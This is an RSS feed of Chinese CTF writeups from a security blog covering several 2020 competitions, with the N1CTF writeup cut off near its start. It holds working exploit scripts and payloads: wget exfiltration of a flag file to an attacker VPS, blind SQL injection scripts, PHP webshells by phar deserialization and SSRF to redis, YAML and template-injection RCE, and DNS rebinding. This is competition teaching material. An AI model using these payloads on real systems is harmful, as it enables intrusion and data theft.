颖奇L'Amore https://www.gem-love.com WEB SECURITY Sat, 26 Dec 2020 16:04:19 +0000 zh-CN hourly 1 https://www.gem-love.com/wp-content/uploads/2020/01/透明-1-150x150.png 颖奇L'Amore https://www.gem-love.com 32 32 纵横杯网络安全竞赛Writeup https://www.gem-love.com/ctf/2745.html https://www.gem-love.com/ctf/2745.html#comments Sat, 26 Dec 2020 16:00:28 +0000 https://www.gem-love.com/?p=2745 Author:颖奇L’Amore

Blog:www.gem-love.com


magic_download

run.sh

#!/bin/bash
ulimit -c 0      # core dump size (kb)
ulimit -t 60     # max cpu using (s/min)
ulimit -u 1500    # max number of process
ulimit -m 512000 # max memory (kb)

cd /home/ctf
stdbuf -oL echo -n "Please enter your IP:"
read IP
echo $IP|grep "^[0-9\.]\{7,15\}$" > /dev/null
if [ $? -ne 0 ]
then
    stdbuf -oL echo "Please input a IP!"
else
    exec /home/ctf/wget -P /tmp $IP
fi

这个正则可以被换行绕过,请看演示:

然后就是利用wget的各种参数,把flag给传出去。可以给wget设置http_proxy,正好可以用http_proxy带出flag,设置http代理为攻击者vps,然后监听80端口就完事了

-e http_proxy=vps --method=POST --body-file=/home/ctf/flag --header=X-Powered-By:Y1ng \\n127.0.0.1


easyci

username存在注入 可以load_file读文件 读Apache站点配置文件得到网站的根目录

#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore www.gem-love.com

import requests
import time
from urllib.parse import quote
from base64 import b64decode

url = "http://your_docker.cloudeci1.ichunqiu.com/public/index.php/home/login"
data = {"username" : "", "password" : "y1ng"}
result = ""

payload = 'select database()'
payload = 'password' #c3762483bc73d0b7943156d43911ce38
payload = 'select to_base64(substr((load_file("/etc/apache2/sites-enabled/000-default.conf")),596,650))' #/var/sercet/html   然后sqlmap的os-shell一把梭


for i in range(1,10000):
    time.sleep(0.06)
    low = 32
    high =128
    mid = (low+high)//2
    while(low<high):
        data["username"] = "0'or (ascii(substr((%s),%d,1)))>%d#" %(payload, i,mid)
        # print(data)
        r = requests.post(url, data)
        # print(r.text)
        if "用户名"  not in r.text:
            low = mid+1
        else:
            high = mid
        mid =(low+high)//2
    if(mid == 32 or mid == 127):
        break
    result +=chr(mid)
    print(result)
    try:
        print(b64decode(result.encode()).decode())
    except:
        pass

根目录是/var/sercet/html  然后sqlmap的–os-shell一把梭就完了


easycms

www.zip拿到源码,config.php拿到数据库的账号密码admin/admin868并用这个密码也一并进了后台

然后用这个SSRF的洞读/flag即可:https://github.com/yzmcms/yzmcms/issues/53


hello php

www.zip拿到源码,一个简单的phar反序列化

<?php
class Config{
    public $title;
    public $comment;
    public $logo_url;
    public function __construct($title,$comment,$logo_url){
        $this->title= $title;
        $this->comment = $comment;
        $this->logo_url = $logo_url;
    }
}
$c = new Config("';echo('shell');eval(\$_POST['0']);//",'123','123');
@unlink("phar.jpg");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($c);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
@rename("phar.phar","phar.jpg");
?>

上传的文件名是时间戳的md5,没有回显,写个脚本找一下:

#!/usr/bin/env python3
#-*- coding:utf-8 -*-
import time
import requests as req 
import hashlib
def md5(s):
	return hashlib.md5(s.encode()).hexdigest()

for i in range(100):
	url = f"http://eci-2zeb3stdvqw9aed67js3.cloudeci1.ichunqiu.com/static/{md5(str(int(time.time())))}.jpg"
	r = req.get(url)
	if r.status_code == 200:
		print(url)
		break
	else:
		print(i, r.status_code)
	time.sleep(1)

index.php触发phar反序列化即可把马写入config.php

/?img=phar:///var/www/html/static/67d9c71da5d4926c0f3433659c0690fd.jpg

大家一起来审代码

参考https://www.freebuf.com/vuls/241106.html

进入后台admin/123456。找到adm1n/admin_weixin.php,利用无字母数字RCE即可

POST /adm1n/admin_weixin.php?action=set HTTP/1.1
Host: eci-2ze9eefnhrp2znd5q2ia.cloudeci1.ichunqiu.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 1265
Connection: close
Referer: http://eci-2ze9eefnhrp2znd5q2ia.cloudeci1.ichunqiu.com/adm1n/admin_weixin.php
Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1608027846,1608659573,1608962046; UM_distinctid=1745809b7eda-0b8fe367096bfd8-4c312d7d-1fa400-1745809b7ee40; chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1608966210; __jsluid_h=82317a29492d0410972d5c3b5bb35543; PHPSESSID=9d513712218467c2e573a918f8b8d725; __tins__21018907=%7B%22sid%22%3A%201608966619441%2C%20%22vd%22%3A%202%2C%20%22expires%22%3A%201608968423945%7D; __51cke__=; __51laig__=2
Upgrade-Insecure-Requests: 1
isopen=n&url=https%3A%2F%2Fwww.seacms.net&title=%E6%B5%B7%E6%B4%8B%E5%BD%B1%E8%A7%86&ckmov_url=https%3A%2F%2Fwww.seacms.net%2Fvip.php%3Furl%3D+&dpic=https%3A%2F%2Fwww.seacms.net%2Fapi%2Fwx.jpg&follow=%E6%84%9F%E8%B0%A2%E6%82%A8%E7%9A%84%E5%85%B3%E6%B3%A8%E3%80%82&noc=%E6%9A%82%E6%97%A0%E4%BD%A0%E8%A6%81%E7%9A%84%E5%86%85%E5%AE%B9%E3%80%82&help=%E8%BF%99%E6%98%AF%E5%B8%AE%E5%8A%A9%E4%BF%A1%E6%81%AF%E3%80%82&topage=d&dwz=n&dwztoken=dwztoken&sql_num=15&msg1a=%E5%85%B3%E9%94%AE%E8%AF%8D1&msg1b=%E5%85%B3%E9%94%AE%E8%AF%8D%E5%9B%9E%E5%A4%8D%E7%9A%84%E5%86%85%E5%AE%B91&msg2a=%E5%85%B3%E9%94%AE%E8%AF%8D2&msg2b=%E5%85%B3%E9%94%AE%E8%AF%8D%E5%9B%9E%E5%A4%8D%E7%9A%84%E5%86%85%E5%AE%B92%3Ca+href%3D%27http%3A%2F%2Fwww.seacms.net%27%3E%E9%93%BE%E6%8E%A5%E6%B5%8B%E8%AF%95%3C%2Fa%3E%EF%BC%8C%E6%B5%8B%E8%AF%95%E7%BB%93%E6%9D%9F%E3%80%82&msg3a=%E5%85%B3%E9%94%AE%E8%AF%8D3&msg3b=%E5%85%B3%E9%94%AE%E8%AF%8D%E5%9B%9E%E5%A4%8D%E7%9A%84%E5%86%85%E5%AE%B93&msg4a=%E5%85%B3%E9%94%AE%E8%AF%8D4&msg4b=%E5%85%B3%E9%94%AE%E8%AF%8D%E5%9B%9E%E5%A4%8D%E7%9A%84%E5%86%85%E5%AE%B94&msg5a=%E5%85%B3%E9%94%AE%E8%AF%8D5&msg5b=1231");$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');$___=$$__;$_($___[_]);//
POST /data/admin/weixin.php HTTP/1.1
Host: eci-2ze9eefnhrp2znd5q2ia.cloudeci1.ichunqiu.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1608027846,1608659573,1608962046; UM_distinctid=1745809b7eda-0b8fe367096bfd8-4c312d7d-1fa400-1745809b7ee40; chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1608966210; __jsluid_h=82317a29492d0410972d5c3b5bb35543; PHPSESSID=9d513712218467c2e573a918f8b8d725; __tins__21018907=%7B%22sid%22%3A%201608966619441%2C%20%22vd%22%3A%202%2C%20%22expires%22%3A%201608968423945%7D; __51cke__=; __51laig__=2
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
_=system("cat /flag");

颖奇L'Amore原创文章,转载请注明作者和文章链接

本文链接地址:https://www.gem-love.com/ctf/2745.html

注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示

]]>
https://www.gem-love.com/ctf/2745.html/feed 1
DNS Rebinding Attack DNS重绑攻击在SSRF中的应用 https://www.gem-love.com/websecurity/2733.html https://www.gem-love.com/websecurity/2733.html#comments Thu, 24 Dec 2020 15:50:27 +0000 https://www.gem-love.com/?p=2733 Author:颖奇L’Amore

Blog:www.gem-love.com


题目介绍

在12月23日华为XCTF高校网络安全专题挑战赛-鲲鹏计算专场中,出现了一道DNS Rebinding Attack的题目,题目名称CLOUDSTORAGE,附件给了docker

题目套了一个云存储的壳,但是上传下载都没有什么卵用,主要看/admin路由:

    app.post('/admin', (req, res) => {
        if ( !req.body.fileurl || !check(req.body.fileurl) ) {
            res.end("Invalid file link")
            return
        }
        let file = req.body.fileurl;

        //dont DOS attack, i will sleep before request
        cp.execSync('sleep 5')

        let options = {url : file, timeout : 3000}
        request.get(options ,(error, httpResponse, body) => {
            if (!error) {
                res.set({"Content-Type" : "text/html; charset=utf-8"})
                res.render("check", {"body" : body})
            } else {
                res.end( JSON.stringify({"code" : "-1", "message" : error.toString()}) )
            }
        });
    })

POST提交fileurl参数,首先调用check()进行url的验证,然后同步执行sleep 5命令,只有request去访问并把访问的结果渲染进模板

存在/flag路由,只有本地访问才能拿到flag:

app.get('/flag', function(req, res){
    if (req.ip === '127.0.0.1') {
        res.status(200).send(env.parsed.flag)
    } else res.status(403).end('not so simple');
});

所以题目意图就很明显了,通过request想办法去访问到/flag并把flag带出来

URL的检测就是check函数

const checkip = function (value) {
    let pattern = /^\d{1,3}(\.\d{1,3}){3}$/;
    if (!pattern.exec(value))
        return false;
    let ary = value.split('.');
    for(let key in ary)
    {
        if (parseInt(ary[key]) > 255)
            return false;
    }
    return true ;
}

const dnslookup = function(s) {
    if (typeof(s) == 'string' && !s.match(/[^\w-.]/)) {
        let query = '';
        try {
            query = JSON.parse(cp.execSync(`curl http://ip-api.com/json/${s}`)).query
        } catch (e) {
            return 'wrong'
        }
        return checkip(query) ? query : 'wrong'
    } else return 'wrong'
}

const check = function(s) {
    if (!typeof (s) == 'string' || !s.match(/^http\:\/\//))
        return false

    let blacklist = ['wrong', '127.', 'local', '@', 'flag']
    let host, port, dns;

    host = url.parse(s).hostname
    port = url.parse(s).port
    if ( host == null || port == null)
        return false

    dns = dnslookup(host);
    if ( ip.isPrivate(dns) || dns != docker.ip || ['80','8080'].includes(port) )
        return false

    for (let i = 0; i < blacklist.length; i++)
    {
        let regex = new RegExp(blacklist[i], 'i');
        try {
            if (ip.fromLong(s.replace(/[^\d]/g,'').substr(0,10)).match(regex))
                return false
        } catch (e) {}
        if (s.match(regex))
            return false
    }
    return true
}

check()主要逻辑如下:

  1. url.parse()解析通过
  2. 利用公网上一个dns解析的api来解析,解析出的ip不能是私有ip并且必须等于docker.ip
  3. 端口不能是80或者8080
  4. 之后for循环匹配了一些黑名单关键字

这些全过了才可以,尤其是解析的ip必须是题目服务器的ip这个很恶心,而且公网这个dns解析的api对于域名可以解析出A记录地址,对于ip地址则返回这个ip地址,基本也没什么办法绕过,尤其对js不熟悉的同学更是无从下手。

DNS重绑攻击

DNS重绑攻击的详细介绍网上有很多文章,这里就以本例题给大家介绍一下。

当一个url被提交到/admin路由,题目干了两件事:

  1. check()内利用公网那个api对域名进行了第一次解析
  2. sleep 5后,request.get()访问url对域名进行了第二次解析

正如它的名字“重绑”,攻击者准备一个域名,在check时解析到了题目的ip地址,于是理所当然的过了check;之后,攻击者将其“重新绑定”到一个攻击者的ip或者内网ip或者本地ip,再第二次访问时第二次解析,此时解析出来的IP已经被重绑到了新的ip,于是就访问到了攻击者/内网/本地;这里的sleep本身也是一个助攻,因为这个时间差可以更利于重绑攻击的实现。

在CTF中,DNS重绑主要应用在SSRF题目中,例如2020 ASIS CTF PyCrypto,Writeup可参考:

🇮🇷ASIS CTF Quals 2020 Writeup

DNS重绑攻击的条件是要进行多次DNS解析,并且利用这个DNS解析的时间差来进行一些利用,关键是要找到DNS解析的顺序以及代码的逻辑,然后尝试重绑攻击。

很多时候DNS重绑是先过check然后重绑到127.0.0.1来SSRF。本题目的SSRF和常规SSRF的套路一致,但不能重绑到127.0.0.1,因为本地是80端口,但是check()并不允许访问80端口;所以我们可以让它解析到攻击者的ip并且是非80/8080端口,当访问到攻击者时,利用302跳转到http://127.0.0.1:80/flag,request会默认follow这个302重定向,即可SSRF成功。

攻击实现

相信有的选手尽管了解到这个攻击原理,但是没有一个好用的DNS Rebinding平台,这里列出几个免费的:

  1. https://requestrepo.com/
  2. https://lock.cmpxchg8b.com/rebinder.html
  3. http://rbnd.gl0.eu/

以第一个requestrepo为例:

首先准备一台个人服务器,开放非80/8080端口(我开的12389),跳转到http://127.0.0.1/flag

<?php
header("Location: http://127.0.0.1:80/flag");

来到requestrepo,DNS设置:

提交这个url到/admin:http://y1ng.s268zbgn.requestrepo.com:12389/hw.php

因为随机解析不一定每次都成功、api可能会请求1~2次、DNS缓存、题目比较卡等多方面原因,直接提交可能不会成功,就写脚本循环提交就好了

#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore www.gem-love.com
import requests as req

s = req.session()
url = "http://cloudstorage.xctf.org.cn:8011/admin"
data = {"fileurl" : "http://y1ng.s268zbgn.requestrepo.com:12389/hw.php" }
while True:
	try:
		text = s.post(url=url, data=data, timeout=10).text
		print(text)
		if "flag{" in text:
			exit(0)
	except Exception as e :
		print(e)

当然也可以用一些现成的框架自己搭,甚至比如Redbud的郭院士直接自己现写了一个tql

颖奇L'Amore原创文章,转载请注明作者和文章链接

本文链接地址:https://www.gem-love.com/websecurity/2733.html

注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示

]]>
https://www.gem-love.com/websecurity/2733.html/feed 1
RoarCTF 2020 Writeup https://www.gem-love.com/ctf/2702.html https://www.gem-love.com/ctf/2702.html#respond Mon, 07 Dec 2020 13:53:26 +0000 https://www.gem-love.com/?p=2702 Author:颖奇L’Amore

Blog:www.gem-love.com

有幸能为本次比赛出题,就是题出的比较垃圾,每道题都有非预期,在这里先给各位谢罪了。详细的解法我已经写到官方Writeup了,请各位关注。以下是我出的3个题目的预期&已知非预期(不是官方wp),如果看到其他非预期,会更新过来。

有其他解法欢迎评论区告知我!

快乐圣诞cei叮壳
考点
  1. 条件竞争
  2. 原型链污染
  3. jwt爆破+伪造
  4. sqlite注入
预期解

这题思路很常规,所以其实也不太难,1个小时就被秒了

首先是原型链污染,因为session有hasOwnProperty()验证,尽管可以随意污染player对象,但是无法直接merge到session上

我们先来捋一下代码的逻辑:

  1. 提交信息到/路由,将提交的内容存入player,之后设置cookie和jwt
  2. 跳转到/start 将player中的内容存入session,这里session用了hasOwnProperty()方法防止污染
  3. 清空player之后开始游戏。如果session的won>100且santa<=5就可以胜利了

大致污染思路如下:

  1. 先post到/路由,这是注册,这样就有了session和jwt了,但是不follow最后的res.redirect()跳转
  2. post到/start路由,这是在猜拳,session被加上了won属性
  3. get访问/start路由,player被遍历赋值给session,hasOwnProperty()不会拦截对won的merge,session的won被污染

原型链污染的exp大致这样(等下会发完整版的exp)

def pollution():
	s = req.session()
	# 先提交并污染
	res1 = s.post(url=url+"" ,json={"__proto__" : {"won" : 101}}, allow_redirects=False) 

	# 给session加上won属性
	s.post(url=url+"start" ,json={"santa" : "1", "player" : "2"}, allow_redirects=False) 

	# 去污染session
	s.get(url=url+"start")

	# # 去验证是否污染成功
	res2 = s.post(url=url+"start", json={}, allow_redirects=False)

	return req.utils.dict_from_cookiejar(res1.cookies)["game"]

然后jwt的secret叫做env.parsed.rockyou,首先纵览所有代码,jwt的secret不可能被泄露,基本上是要爆破jwt,然后最后有sql的waf暗示可以被注入,这里的rockyou又与著名的rockyou.txt(kali自带了)字典同名

所以还好了因为都告诉用什么字典了,直接找个工具或者自己写脚本跑一下可以得到jwt的secret为fuckoff123

最后的sqlite,因为><=什么的被过滤了,可以利用glob注入,exp如下:

#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore www.gem-love.com

import json
import string
import requests as req
import sys
import jwt


url = "http://y1ng.vip:50001/"

def pollution():
	s = req.session()
	# 先提交并污染
	res1 = s.post(url=url+"" ,json={"__proto__" : {"won" : 101}}, allow_redirects=False) 

	# 给session加上won属性
	s.post(url=url+"start" ,json={"santa" : "1", "player" : "2"}, allow_redirects=False) 

	# 去污染session
	s.get(url=url+"start")

	# # 去验证是否污染成功
	res2 = s.post(url=url+"start", json={}, allow_redirects=False)

	return req.utils.dict_from_cookiejar(res1.cookies)["game"]


def gJWT(payload):
	data = {
		"id" : payload,
		"is_win" : "true"
	}
	token = jwt.encode(data, "fuckoff123", algorithm="HS256").decode('ascii')
	return token

def text2char(s):
	res = ''
	for i in s:
		res += "%d," % ord(i)
	return f"char({res[:-1]})"

def main():
	result = ''
	alpa = "}{_.@][$%^&!#)-(, \n" + string.digits + string.ascii_letters 
	sess = pollution()

	subquery = f"select group_concat(name) from sqlite_master where type glob {text2char('table')} order by name limit 0,1" #AWARD,SECRET
	subquery = f"SELECT group_concat(sql) FROM sqlite_master WHERE tbl_name glob {text2char('SECRET')} AND type glob {text2char('table')}" #CREATE TABLE SECRET(ID INT NOT NULL, fl4ggg TEXT PRIMARY KEY NOT NULL)
	subquery = "select group_concat(fl4ggg) from SECRET"  #flag{f7f0f684-0abf-ffe1-c561-a186d17a0b1d}

	failed = 0
	for postion in range(1,100):
		for i in alpa:
			sql = f'''1 and (case when (substr(({subquery}),{postion},1) glob char({ord(i)})) then char(97) else char(98) end) glob char(97);--'''
			token = gJWT(sql)
			headers = {
				"cookie" : f"game={sess}; token={token}"
			}
			r = req.get(url=url+'award', headers=headers)
			if "Turkey" in r.text:
				result += i
				print(result)
				break

			if i == alpa[-1:] :
				failed += 1
				if failed >= 5:
					print("[+] 注入完成")
					exit(0)

if __name__ == '__main__':
	main()
非预期

非预期主要出在了sqlite注入上,实际上完全没有用GLOB这么复杂,直接in注入即可(一血队伍AheadSec的解法),payload和mysql没什么区别。

你能登陆成功吗
预期解

主要的考点就是PostgreSQL的时间盲注,注出密码即可。上revenge是因为最开始忘记删了一个sql语句的输出,导致可以布尔注入,不过大部分选手基本还是时间盲注exp打2道题。我的锅我的锅

#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore www.gem-love.com

import sys
import time as t
import string as s
import requests as req


url= "http://127.0.0.1:2333/"


res = ''
for i in range(1,50):
    for char in s.ascii_letters + s.digits:
        payload = f"""0'and(select/**/case/**/when(substr((select/**/password/**/from/**/users/**/where/**/username='admin'),{i},1)='{char}')then(select/**/'roarctf'/**/from/**/pg_sleep(3))else/**/'1'/**/end)='roarctf'--"""
        data = {
            'username' : 'admin',
            'password' : payload,
        }
        try:
            start = int(t.time())
            r = req.post(url=url, data=data)
            time = int(t.time()) - start
            if time >= 2.5:
                res += char
                print(res) 
                break
        except Exception as e:
            print(e)
            pass
        if char == s.digits[-1:]:
            print("sqli finished: "+res)
            exit(0)
非预期:
  • 直接pg_sleep(5)::VARCHAR即可将其转为字符,payload将大大简化
  • 利用||连接字符串的特性,也可以直接延时,参考Nu1L的wp
  • 还有人是直接sqlmap做的….
HTML在线代码编辑器
考点:
  1. nodejs黑盒测试
  2. 任意文件读取+代码审计
  3. swig模板注入与过滤器应用
预期解法:

题目可以查看一个HTML代码示例,点一下就会填充出来一些代码,通过了html源代码发现它实际上调用了一个叫get_source_code()的函数

跟进到type/html_editor.js:

function get_source_code() {
    $.ajax({
        type:'post',
        url:'/view',
        data:JSON.stringify({
            "file" : "ba1f2511fc30423bdbb183fe33f3dd0f_admin_999999999.html",
            "time" : Math.ceil(new Date().getTime() / 1000)
        }),
        contentType: "application/json",
        success: function (data) {
            var dv = document.getElementById("Ym9iYmF0ZWEh");
            var spn = document.createElement("pre");
            spn.innerText = data;
            dv.append(spn);
        }
    })
}

function jmp() {
    window.open("/view?file=ba1f2511fc30423bdbb183fe33f3dd0f_admin_999999999.html")
}


function goto_ide() {
    location.href = "/htmlide"
}

可以看到实际上是ajax向/view来POST请求的,并且参数是文件名和一个时间戳。写个脚本autofix一下这个time参数

#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore www.gem-love.com

import time
import sys
import requests as req


def post(file):
    url = "http://127.0.0.1:2333/view"
    headers = {
        "Cookie" : "session=s%3A8SatsrypaIW7GWzOSUsKKsQVBMbbfKsu.ajqfsgWXaOr8DT77wUGH4tgQDVIh6PBb6%2BMucxG2a6Q"
    }
    data = {
        "file" : file ,
        "time" : str(int(time.time()))
    }
    print(req.post(url=url, data=data, headers=headers).text)


post(sys.argv[1])

这样就可以任意文件读取了

分析代码可知swig模板,然后环境变量被渲染进了模板,对forloop进行了过滤。

查询swig模板中文文档https://myvin.github.io/swig.zh-CN/docs/ 有直接把对象全部打出来的方法。两种payload:

{{values|join(', ')}}
{{values|json()}}
非预期

基本没有几个队读了源码,因为可以很直觉的想到SSTI,然后输入一些能让模板报错的模板语法,渲染模板就会报错,报错信息中可知是swig模板,然后{{process.env|json()}}

得知swig模板后,还可以利用模板引入或者模板扩展来读文件,因为题目告诉了flag在环境变量,于是直接读环境变量

{% include '/proc/self/environ' %} 

{% extends  '/proc/self/environ' %}

本就很垃圾的题目变得更加弱智了….


 

颖奇L'Amore原创文章,转载请注明作者和文章链接

本文链接地址:https://www.gem-love.com/ctf/2702.html

注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示

]]>
https://www.gem-love.com/ctf/2702.html/feed 0
2020祥云杯Writeup https://www.gem-love.com/ctf/2676.html https://www.gem-love.com/ctf/2676.html#respond Mon, 23 Nov 2020 07:00:01 +0000 https://www.gem-love.com/?p=2676 Author:颖奇L’Amore

Blog:www.gem-love.com


Command

命令注入

127.0.0.1|find%09%2f%09-name%09"fla?.txt"

找到flag:/etc/.findflag/flag.txt

127.0.0.1|ca\t%09%2fetc%2f.findfla?%2ffla?.txt

flask bot

用户名造成模板注入,一些关键字的过滤用字符串拼接来绕过,数字用NaN

拿到flag的文件名后执行”cat /super_secret_fl” +”ag.txt”即可

其实最开始是直接读了当前目录的文件内容,有个start.sh,从里面得到的flag的文件名

flagfile=/super_secret_flag.txt
if [ ${ICQ_FLAG} ];then
    if [ "$flagfile"x = "/super_secret_flag.txtx" ];then
        echo ${ICQ_FLAG} > ${flagfile}
        chmod 755 ${flagfile}
    else
        #sed -i "s/flag{x*}/${ICQ_FLAG}/" $flagfile
        sed -i -r "s/flag\{.*\}/${ICQ_FLAG}/" $flagfile
        #mysql -uroot -proot nXXXX < $flagfile
    fi
    echo [+] sed flag OK
    unset ICQ_FLAG
else
    echo [!] no ICQ_FLAG
fi

python /app/app.py

easygogog

前端和BJDCTF 3rd的gob长得基本一样,然后go本来就是很安全的语言,又是黑盒,基本肯定就是逻辑漏洞了。这题做法基本一样,就是在上传时候进行目录穿越,然后看头像时候读取

然而读到的却是123,尝试读取/proc/self/cmdline 发现是可以读的

解base64得到/tmp/go-build532472240/b001/exe/main

所以说,是上传的原因,上传了一个文件内容为123的文件覆盖掉了/flag的文件内容,所以刚刚读到的是123。但是无所谓,因为通过上传拿到了cookie,只要重新下发docker来恢复flag内容,然后直接带着cookie去访问就可以拿到flag了。


doyouknowssrf

SSRF打redis,和GACTF的SSRF ME差不多但是比那个简单,直接写shell即可

#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore www.gem-love.com

import requests as req 

url = "http://eci-2zebigmdhrm1h25i2qcw.cloudeci1.ichunqiu.com/"

def g_redis(s, num):
	res = ''
	for i in s:
		res += f"%{'%02x' % ord(i)}"
	if num > 0:
		return g_redis(res, num-1)
	else:
		return res

payload = "\r\n".join(["","set a '<?php eval($_POST[Y1ng]); ?>'","config set dir /var/www/html","config set dbfilename y1ng.php","save","test"])
req.get(url=url+"?url=http://@127.0.0.1:5000@www.baidu.com/?url=http://127.0.0.1:6379?"+g_redis(payload, 1))


easyzzz

队友做的,大致思路是sql注入然后解md5得到后台密码fuzzy9inve 然后登陆后台模板写shell


Profile System

上传yaml,所以基本肯定是yaml的RCE了 其实本质是反序列化得到Python的class。但是是黑盒环境,直接传了一个poc上去没反应,大概是没有这么简单

注意到上传后可以下载自己上传的文件,所以进行目录穿越来读源码

from flask import Flask, render_template, request, flash, redirect, send_file,session
import os
import re
from hashlib import md5
import yaml


app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = os.path.join(os.curdir, "uploads")
app.config['SECRET_KEY'] = 'Th1s_is_A_Sup333er_s1cret_k1yyyyy'
ALLOWED_EXTENSIONS = {'yaml','yml'}

def allowed_file(filename):
    return '.' in filename and filename.rsplit('.', 1)[1].lower()

@app.route("/")
def index():
    session['priviledge'] = 'guest'
    return render_template("home.html")

@app.route("/upload", methods=["POST"])
def upload():
    file = request.files["file"]
    if file.filename == '':
        flash('No selected file')
        return redirect("/")
    elif not (allowed_file(file.filename) in ALLOWED_EXTENSIONS):
        flash('Please upload yaml/yml only.')
        return redirect("/")
    else:
        dirname = md5(request.remote_addr.encode()).hexdigest()
        filename = file.filename
        session['filename'] = filename
        upload_directory = os.path.join(app.config['UPLOAD_FOLDER'], dirname)
        if not os.path.exists(upload_directory):
            os.mkdir(upload_directory)
        upload_path = os.path.join(app.config['UPLOAD_FOLDER'], dirname, filename)
        file.save(upload_path)
        return render_template("uploaded.html",path = os.path.join(dirname, filename))


@app.route("/uploads/<path:path>")
def uploads(path):
    return send_file(os.path.join(app.config['UPLOAD_FOLDER'], path))


@app.route("/view")
def view():
    dirname = md5(request.remote_addr.encode()).hexdigest()
    realpath = os.path.join(app.config['UPLOAD_FOLDER'], dirname,session['filename']).replace('..','')
    if session['priviledge'] =='elite' and os.path.isfile(realpath):
        try:
            with open(realpath,'rb') as f:
                data = f.read()
                if not re.fullmatch(b"^[ -\-/-\]a-}\n]*$",data, flags=re.MULTILINE):
                    info = {'user': 'elite-user'}
                    flash('Sth weird...')
                else:
                    info = yaml.load(data)
                if info['user'] == 'Administrator':
                    flash('Welcome admin!')
                else:
                    raise ()
        except:
            info = {'user': 'elite-user'}
    else:
        info = {'user': 'guest'}
    return render_template("view.html",user = info['user'])



if __name__ == "__main__":
    app.run('0.0.0.0',port=8888,threaded=True)

注意到想要yaml.load()的前提是session['priviledge']=='elite' 所以先伪造session

之后带着session即可上传,但是想要yaml.load()还要绕过一个正则,不过这个正则太弟弟了,用几个月前打一场国外赛的payload可以直接一键打

!!python/object/new:type
  args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
  listitems: "\x5f\x5fimport\x5f\x5f('os')\x2esystem('echo payload|base64 -d|sh')"

不能出网,所以把结果写入文件再用上面读源码的方式去读取即可,exp:

#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore www.gem-love.com

import requests as req 
from urllib.parse import *
from base64 import b64encode

payload = b"ls ../ > ./uploads/4e5b09b2149f7619cca155c8bd6d8ee5/y1ng.yaml"
payload = b"/readflag > ./uploads/4e5b09b2149f7619cca155c8bd6d8ee5/y1ng.yaml"


url = "http://eci-2ze4i20uld1wxff8v8jj.cloudeci1.ichunqiu.com:8888/"
file = open("1.yaml", "r").read().replace("payload", b64encode(payload).decode())
files = {'file': ('y1ng.yaml', file, 'application/x-yaml')} 
headers = {"Cookie": f"session=eyJwcml2aWxlZGdlIjoiZWxpdGUifQ.X7oKzQ.rAHDutbVxmFgS-PvQWZyeCRM5YI"}
r = req.post(url=url+"upload", files = files, headers=headers)
session = req.utils.dict_from_cookiejar(r.cookies)['session']
headers = {"Cookie": f"session={session}"}
rr = req.get(url=url+"view", headers=headers)
url="http://eci-2ze4i20uld1wxff8v8jj.cloudeci1.ichunqiu.com:8888/uploads/4e5b09b2149f7619cca155c8bd6d8ee5/y1ng.yaml"
print(req.get(url).text)

颖奇L'Amore原创文章,转载请注明作者和文章链接

本文链接地址:https://www.gem-love.com/ctf/2676.html

注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示

]]>
https://www.gem-love.com/ctf/2676.html/feed 0
N1CTF 2020 Writeup https://www.gem-love.com/ctf/2657.html https://www.gem-love.com/ctf/2657.html#comments Tue, 20 Oct 2020 12:08:03 +0000 https://www.gem-love.com/?p=2657 Author:颖奇L’Amore

Blog:www.gem-love.com

This weekend I played N1CTF with team r3kapig and finally we got the 2nd🥈 place. Thanks to all my teammates for their hard work, and also to the Nu1L team for holding the wonderful & awesome game.

Btw, writeup for all challenges we solved will be published here, check it out!

I will write some of them in detail


web-signin

This challenge is the easiest web challenge, but it is very interesting especially for those who are new in CTF. It gives the source code

It is easy to know that it is an unserialize challenge, and we can ctrl the serialize string totally. It means that you can create Object with any attributes’ value

Then let’s find the pop chain. it is easy to know that the purpose is to call flag->getflag() method by automatically calling __destruct() magic method, and $check attribute must be eq to a censored string "key****************".

So now what we need to do is getting this secret string. Fortunately there is a ip class with a __toString() magic method. If you treat an Object as a string, it will automatically call the object’s __toString() method, and what __toString returns will be used.

